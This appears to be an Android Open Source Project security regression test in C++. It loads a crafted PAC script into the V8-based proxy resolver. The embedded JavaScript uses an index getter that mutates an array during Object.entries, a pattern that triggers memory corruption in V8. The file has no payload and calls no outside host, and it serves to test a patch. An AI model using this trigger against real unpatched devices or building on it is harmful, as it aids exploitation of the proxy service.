1 /*
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #ifndef _GNU_SOURCE
18 #define _GNU_SOURCE
19 #endif
20 #include <sys/types.h>
21 #include <sys/wait.h>
22 #include <memory>
23 #include <proxy_resolver_v8_wrapper.h>
24
25 #define URL u""
26 #define HOST u""
27 #define SCRIPT \
28 u"function FindProxyForURL(url, host){\n" \
29 " alert(\"enter\");\n" \
30 " let arr = [];\n" \
31 " arr[1000] = 0x1234;\n" \
32 "\n" \
33 " arr.__defineGetter__(256, function () {\n" \
34 " delete arr[256];\n" \
35 " arr.unshift(1.1);\n" \
36 " arr.length = 0;\n" \
37 " });\n" \
38 "\n" \
39 " Object.entries(arr).toString();\n" \
40 " alert(JSON.stringify(entries));\n" \
41 "\n" \
42 " return 0;\n" \
43 "}\n"
44
main(void)45 int main(void) {
46 auto resolver = std::unique_ptr<ProxyResolverV8Handle, void(*)(ProxyResolverV8Handle*)>(
47 ProxyResolverV8Handle_new(), ProxyResolverV8Handle_delete);
48 ProxyResolverV8Handle_SetPacScript(resolver.get(), SCRIPT);
49 auto results = std::unique_ptr<char16_t, decltype(&free)>(ProxyResolverV8Handle_GetProxyForURL(
50 resolver.get(), URL, HOST), &free);
51 return 0;
52 }
53